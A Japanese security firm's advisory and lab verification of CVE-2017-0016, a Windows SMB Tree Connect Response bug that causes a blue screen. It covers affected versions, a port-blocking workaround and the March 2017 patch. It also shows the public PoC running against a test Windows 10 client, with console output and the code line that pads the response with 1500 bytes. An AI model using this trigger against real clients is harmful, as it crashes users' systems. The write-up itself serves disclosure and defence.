スマートフォン解析 top

TOP > タイガーチームセキュリティレポート > SMBのTree Connect ResponseによるBSoDの問題

タイガーチームセキュリティレポート

SMBのTree Connect ResponseによるBSoDの問題(CVE-2017-0016)

2017年2月2日、 Microsoft WindowsのSMBの脆弱性を利用したゼロデイのPoCが公開されました。

このPoCは、SMBサービスへアクセスしに来たクライアントに対し、 細工をしたTree Connect Responseを処理させることでBSoD(Blue Screen of Death)を引き起こします。

影響範囲

・Windows 8.1
・Windows 10
・Windows Server 2012 R2
・Windows Server 2016

上記のWindowsに影響があり、2017年2月7日現時点では適切な対策が確認されていません。 ワークアラウンドとして137/udp, 138/udp, 139/tcp, 445/tcpへのアウトバンド接続を制限することで影響を軽減することができます。


2017年3月21日追記

2017年3月のマイクロソフトの月例アップデートにて、当該脆弱性のセキュリティ更新プログラムが公開されました。 Windows Updateによる更新プログラムのチェック及び適用を推奨します。


今回はWindows10にてこの脆弱性の検証をしました。

検証環境

攻撃者の罠サーバ Mac OS
被害者クライアント Windows 10

PoCシナリオ

1.攻撃者は罠サーバでPoCを実行し、クライアントからのSMB接続を待ち受けます。

$ sudo python Win10.py

      

この時、罠サーバ側では445/tcpサービスのopenを確認できます。

$ nmap -n -Pn 192.168.10.100
(略)
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 5.50 seconds


2.次にクライアント(Windows 10)は、罠サーバへアクセスします。


3.アクセス後、罠サーバ(192.168.10.100)からクライアント(192.168.10.105)へ、細工をしたTree Connect Responseが送信されます。

$ sudo python Win10.py
From: ('192.168.10.105', 57254)
[*]Negotiating SMBv2.
[*]Negotiate Protocol SMBv2 packet sent.
[*]Session challenge SMBv2 packet sent.
From: ('192.168.10.105', 57255)
[*]Negotiate Protocol SMBv2 packet sent.
[*]Session challenge SMBv2 packet sent.
[*]Triggering Bug; Tree Connect SMBv2 packet sent.
Disconnected from ('192.168.10.105', 57255)


4.その結果、クライアント側でBSoDが発生しました。

検証結果

SMBは、サーバとクライアント間のセッションを確立後、ツリー接続を行います。 ツリー接続とは、共有リソースへのアクセス要求です。 クライアントが「Tree Connect Request」(\\[サーバIPアドレス]\IPC$)を送ることで、サーバは「Tree Connect Response」を返します。

この際にPoCでは「Tree Connect Response」のNetBIOSヘッダに、1500個の文字列「C」が追加されています。

head = SMBv2Header(Cmd="\x03\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", TID="\x01\x00\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x00\x00\x00\x00", SessionID=GrabSessionID(data))
t = SMB2TreeData(Data="C"*1500)#//BUG
packet1 = str(head)+str(t)

その結果、NetBIOSのメッセージが1580byteになっていることが確認ができます。 この異常なメッセージサイズの「Tree Connect Response」をクライアントが処理することで、バッファオーバーフローが発生し、Windowsがクラッシュします。


参考情報:
[1] Windows SMBv3 Denial of Service Proof of Concept (0 Day Exploit)
https://isc.sans.edu/forums/diary/Windows+SMBv3+Denial+of+Service+Proof+of+Concept+0+Day+Exploit/22029
[2] Microsoft Windows の SMB Tree Connect Response パケットの処理にメモリ破損の脆弱性
https://jvn.jp/vu/JVNVU95841181/
[3] Microsoft Windows SMB Tree Connect Response denial of service vulnerability
https://www.kb.cert.org/vuls/id/867968
[4] マイクロソフト セキュリティ情報 MS17-012 - 緊急
https://technet.microsoft.com/library/security/MS17-012


タイガーチームサービス事業部 R&D部